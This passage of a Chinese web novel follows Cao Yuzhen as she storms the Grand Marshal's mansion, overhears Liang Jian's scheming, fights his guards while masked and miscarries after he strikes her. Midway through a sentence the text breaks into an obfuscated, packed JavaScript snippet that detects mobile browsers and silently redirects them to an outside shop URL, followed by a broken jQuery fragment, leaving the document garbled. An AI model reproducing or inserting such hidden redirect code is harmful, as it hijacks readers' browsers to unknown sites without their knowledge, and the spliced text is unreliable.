曹毓贞手中的令牌虽不是京师的守城通行令牌,但守门侍卫一看是大司马府的,也不敢阻拦。赶忙禀命了上级,开门放行。

    曹毓贞策马冒着大雨,疾驰在京师的长街上。不至片刻,便来到了大司马府。曹毓贞要在姜宜和那两百士兵没有追上来之前,找到梁检问个究竟。

    曹毓贞明白,这家伙心虽然向着自己,但梁检毕竟是她主公,要是她和梁检真要起个矛盾冲突,她可没把握这姜宜会站在自己这边。

    大司马府的门被急促地叩门声敲响,门房睡眼惺忪的揉着眼,没好气地开了门,正待要骂,见曹毓贞一身湿漉漉地站在门外,面色不善,立马瞪大了眼睛。

    “夫.....夫人,您...您不是回齐州了么?”

    曹毓贞没有搭理他,直接闯了进去。那门房本能似得向里面要喊着禀告,被曹毓贞眼疾手快地制止住了。

    自从经历了马苞的事情后,她便随身备了一柄短刃。

    说来这短刃也是从马府所得,马澄原本就是铁匠出身,府上有一间专门私藏利刃的武库,里面的兵刃极天下神兵之精,饶是曹毓贞幼时在祖父麾下见多识广,也不得不感叹上一句精妙。

    当然这些好兵器到最后自然都被梁检充作私用了,而曹毓贞也从中选了一把极好的短刃用来护身。

    且不说这把匕首有吹毛得过之利,单是匕鞘上镶嵌的佛家七宝,便能看出价值不菲。她不知道这把匕首原来的名字,便自己给它取了一个,唤作迁化刀。

    曹毓贞眼明手快地拔出迁化刀,抵在门房的脖颈处,低声厉呵道:“要是敢发出一语,我立时便送你去见阎王!”

    门房不明白,素日里好说话的夫人,怎么一下子成了这样。此时他看着曹毓贞狠厉地眼神,别说出声,就是连手都不敢多动一动。

    曹毓贞见他不再敢妄动,收了匕首便往栽橘院而去。

    梁检似乎比马澄更加谨慎,毕竟他的前任栽就栽在了巡防守卫松散上,故而入主大司马府后,他在府内的巡防上更加重了一层,一旦有什么风吹草动,立时可知。

    但这些巡防兵士能防得住旁人,却防不了曹毓贞。

    在她第一次进府时,便有意识地去熟悉巡防卫士的执勤时辰,这让她有利地避开了这一切,很容易地就来到了栽橘院内的书房外。

    曹毓贞将身子靠在橘树后面,贴着墙壁,静静地听着里面人的谈话。

    屋内烛火摇曳,两个身影在烛火中显得阴沉。

    叶礼道:“主公,朝廷那厢选定的册婚使是一个叫秦武的人,据说他是先秦太后的娘家侄儿,今上的亲表兄。”

    梁检点头,自从那人在承华殿外让自己拖靴解剑,他就瞄上了这个有胆识的年轻人。

    在他眼里,没有什么亲不亲的道理。若是图权,皇帝能许诺给他的,自己一样可以。若是遇到个高级一些的,想要辅保明主,博个荣妻荫子,那也自然要选一个胜算更大的下注才对。

    叶礼有些欲言又止,唤了梁检一声兄长。梁检身子侧了侧,看着他。

    “你当真要娶那什么公主?”

    梁检不语,叶礼接着道:“我瞧兄长近日愈发喜欢那曹氏......”

    “你在担心什么?”梁检不解道。

    被他这么一问,叶礼一时也说不出个道道来。他一向不喜欢理会这些娘们叽叽的事情,更何况他深恨乾州。

    不过,商庸城后,他的那顿脊杖却也没白挨,冷静过后也觉曹毓贞说的有理,怕是自己那次还真是实打实地被章寅秋当刀子给使了一回。

    他知道女人越多的地方,危险就越多,有时候致命的偏偏是那把温柔刀,而他这个兄长手下的女人还真真就不老少。

    “乾州尚未拿下,我不得不稳着她些。”

    梁检闭上了眼,想象着一年半载之后又是什么光景呢?到那时,或许他已经不再对这小蹄子的温柔乡不能自拔了。

    他环顾四周,这里可真是消磨英雄志的鬼窟啊。

    “明日叫人把这间屋子给我封了!”

    叶礼答应着点头。

    “我所虑者,无非乾州。曹荣心思颇深,若让其妹加以安抚,或能拖延些时日。值此紧要之时,断不能让他知悉我人不在齐州,否则难保他不会生出什么心思来!”

    叶礼展露出开怀之态,笑道:“我就知道兄长决计不会陷在儿女情长之中。”

    梁检拍了拍他的肩,面上似有一抹不易察觉的愧疚神色,对叶礼道:“好兄弟,你我皆出身行伍,攻城略地故然可以靠厮杀拼命来获取,但若靠一时地忍让、屈就便可得到,又何必伏尸百万,流血漂橹。”

    叶礼面上赞同地点了点头。

    “伯操兄弟的仇,我不会忘记。”

    二个人就像是在密谋瓜分着什么,曹毓贞听在耳朵里满满皆是算计。

    好个梁检,原来自己早已成了他的一枚棋子!

    难怪马澄临终前会说那番言语,乾州?他对乾州下手,怕是只在时间上而已。

    曹毓贞再听不下去,回转头出了栽橘院,越看这里越觉恶心。

    她看着天上落下的雨水,真想让着雨再下大些,大到好冲刷掉自己这身污秽。

    “什么人!有刺客!”

    等曹毓贞意识到叫喊声,巡逻侍卫们已然跑到她身后不足十米处。

    曹毓贞没有回头,她扯下一片袖子蒙住了脸,方才回头,而她这个动作恰恰让为首的侍卫觉得是在挑衅。

    “好大的胆子,敢夜闯大司马府!”

    说着提剑上去便是厮杀,曹毓贞冷哼一声,她目今心中的愤恨恐怕也只有杀人才能来得到排遣。

    她言明手快地躲过来击,一脚踹在为首侍卫的膝盖骨上,夺过手中的长刀。对着他的脖子就是一刀。没有割喉,而是直接斩首。

    头颅滚在了那群侍卫的脚下,他们心惊地退了几步。

    要知道这帮人武艺虽不能临阵对垒,却也是同陶平他们一般,是可以单个搏杀山匪的存在,如今却被一个蒙面女贼给一刀毙命,恐怕今天就是不死在她手下,临了让主公知道了,也绕不过他们。

    没奈何,余下的侍卫只得硬了硬头皮,一起冲了上去。曹毓贞将一腔怒火完完全全地附在了这场酣畅淋漓的打斗中,不多时便又撂倒了几个侍卫。

    她自己也不知道武艺怎么一下子精进了那么许多,心中没有怯懦,手上没有迟疑,反而是出招拆招越来越顺。

    不多时,打斗声已然惊动了全府及梁检他们,众人举着火把齐齐地从四面八方跑了出来。

    梁检与叶礼也站在不远处观望着这场打斗,叶礼看着这女毛贼的身形步法也并不十分高妙,而是全凭着速度才能挡住攻击,再加上出手狠厉,一击便可打得对手退出数步之远,从而给自己留了足够的时间、空间去对付其

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750409|209408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他人。

    这样的打斗,短时间占优势,长了自然便会败下阵来。

    叶礼欲上前擒拿,被梁检拦住了。

    他夺过叶礼手中长枪,一个箭步冲上前,与酣斗中的‘女贼’放对了起来。

    见梁检亲自上阵,那群侍卫们纷纷撤了下来,有一个侍卫还在曹毓贞的剑下垂死挣扎。

    梁检没有啰嗦,挑开曹毓贞刺向那侍卫的剑。那侍卫还算手脚灵活,趁着她愣神之际,立马起身避到一边。

    所谓一寸长,一寸强,曹毓贞手中从侍卫那里夺过的刀片子看着是明晃晃的,挺吓唬人。可要真对上长枪,就又是另一番局面了。

    三两招下来,曹毓贞已然有些乱了阵脚。此时,梁检根本也就不用刺,晃动着长枪,从容地消耗着她所剩无几的气力。

    曹毓贞渐渐力怯,已然有些遮拦不住了。

    梁检挥着长枪的弹力,整整三棍重重地向她腹部打了上去,将曹毓贞击退数米之远。

    “兄长!”

    叶礼心中暗自一惊,在这一瞬间他总算想起了这武功路数在那里见过。

    正待要制止,只见远处门房撑着伞,一路疯跑了过来,高喊道:“主君,她是夫人!”

    梁检猛然收枪,见曹毓贞长刀撑地的身子缓缓有倒下来的趋势,看上去已然身枯力竭。

    他慌忙丢了枪,一个箭步冲上去,揽住她腋下,用力托起她,扯开覆在面上的遮挡物。

    那张精致而又熟悉的面庞在大雨的冲刷下显得异常惨白,从面上透着虚弱无力的惨笑。

    而此时,曹毓贞看着梁检焦急慌张的表情,只觉心中无比畅快。

    她倾尽全力,扯下他的衣领,将他的耳朵扯到自己嘴边,轻声道:“亲手杀了自己骨肉的滋味儿,如何?”

    梁检心头一惊,看向曹毓贞下处,见衣摆下渗出两条殷红的血迹,如小溪一般付诸在了这瓢泼大雨中。

    曹毓贞两眼一黑,耳边梁检的叫喊声也愈渐模糊。

    “母亲,我带你归家!”

    梦中曹毓贞感觉置身于一个冰窖之中,正在无助时,一个白白胖胖的小人牵着曹毓贞的手,拉着她走向另一个白色光圈之内。

    再次醒来时见梁检蹲在地上,身子半趴在榻沿边上,头发凌乱地有些可怕。

    曹毓贞看着他的样子,似乎苍老了不少。她不清楚自己睡了有多久,只觉脑子里昏昏沉沉地总在同一个梦中打转,怎么也出不来。

    她拼尽周身的力道,才撑起半个身子,降温的面巾从额上掉了下来,惊醒了躺在一侧的梁检。

    “贞儿!”

    曹毓贞起身到一半,一阵酥麻之感又将她按了回去。

    “贞儿,你还在小月中。别再劳累了,要什么跟我说,我来拿给你!”他近乎卑微地说道。

    但如果放在以前,曹毓贞或者会心软,可现在不会了,她明白如今的局面是她拿自己的孩子换来的。

    只有无牵无挂的离开,将来卷土重来之际,才不会被任何人事物所牵绊。

    只是……她摸着现如今的腹部,真真是欲哭无泪。

    “我肚子饿了。”曹毓贞平静道。

    “好,我这就去吩咐人准备饭食。”梁检赶忙出门去安排。

    曹毓贞知道,此时自己不能和他硬碰硬,别说现在身体虚弱到已经挪不动半点,即便能走,一时间也逃离不了这笼中。